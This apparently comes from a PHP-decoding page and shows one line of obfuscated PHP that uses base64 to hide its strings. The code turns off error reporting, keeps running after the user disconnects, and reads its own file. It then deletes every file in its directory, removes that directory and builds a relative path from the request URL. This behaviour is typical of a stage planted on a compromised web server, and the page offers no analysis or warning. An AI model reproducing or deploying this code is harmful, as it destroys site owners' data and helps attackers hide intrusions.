PHP Decode

<?php error_reporting(0);set_time_limit(0);ignore_user_abort(true);$z0=basename(__FILE__,base64_decode('LnBocA==')).base64_decode('LnBocA==');$g1=fopen("$z0",base64_decode('cg=='));$c2=fread($g1,filesize("$z0"));$h3=scandir(base64_decode('Lg=='));foreach($h3 as $g4){if(($g4!==base64_decode('Lg=='))AND($g4!==base64_decode('Li4=')))unlink($g4);}rmdir(base64_decode('Li4v').basename(dirname(__FILE__)));$o5=((!empty($_SERVER[base64_decode('SFRUUFM=')]))?base64_decode('aHR0cHM='):base64_decode('aHR0cA==')).base64_decode('Oi8v').$_SERVER[base64_decode('SFRUUF9IT1NU')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];$i6=str_replace(base64_decode('Lw=='),'',$o5,$q7);if($q7==3)$e8=base64_decode('Li8=');if($q7==4)$e8=base64_decode('Li4v');if($q7==5)$e8=base64_decode('Li4vLi4v');if($q7==6)$e8=base64_decode('Li4vLi4vLi4v');if($q7==7)$e8=base64_decode('Li4vLi4vLi4vLi4v');if($q7==8)$e8=base64_decode('Li4vLi4vLi4vLi4vLi4v');if($q7==9)$e8=base64_decode('Li4vLi4vLi4vLi4vLi4vLi4v');if($q7==10)$e8=base64_decode('Li4vLi4vLi4vLi4vLi4vLi4vLi4v');if($q7==11)$e8=base64_decode('Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4v');if($q7==12)$e8=base64_decode('Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4v');if($q7==13)$e8=base64_decode('Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4v'); ?>